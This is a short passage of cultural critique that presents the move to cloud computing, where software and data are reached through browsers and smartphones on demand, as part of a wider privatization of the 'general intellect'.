Part of the global push towards the privatization of the “general intellect” is the recent trend in the organization of cyberspace towards so-called “cloud computing.” Little more than a decade ago, a computer was a big box on one’s desk, and downloading was done with floppy disks and USB sticks. Today, we no longer need such cumbersome individual computers, since cloud computing is Internet-based, i.e., software and information are provided to computers or smartphones on demand, in the guise of web-based tools or applications that users can access and use through browsers as if they were programs installed on their own computer. In this way, we can access information from wherever we are in the world, on any computer, with smartphones literally putting this access into our pocket.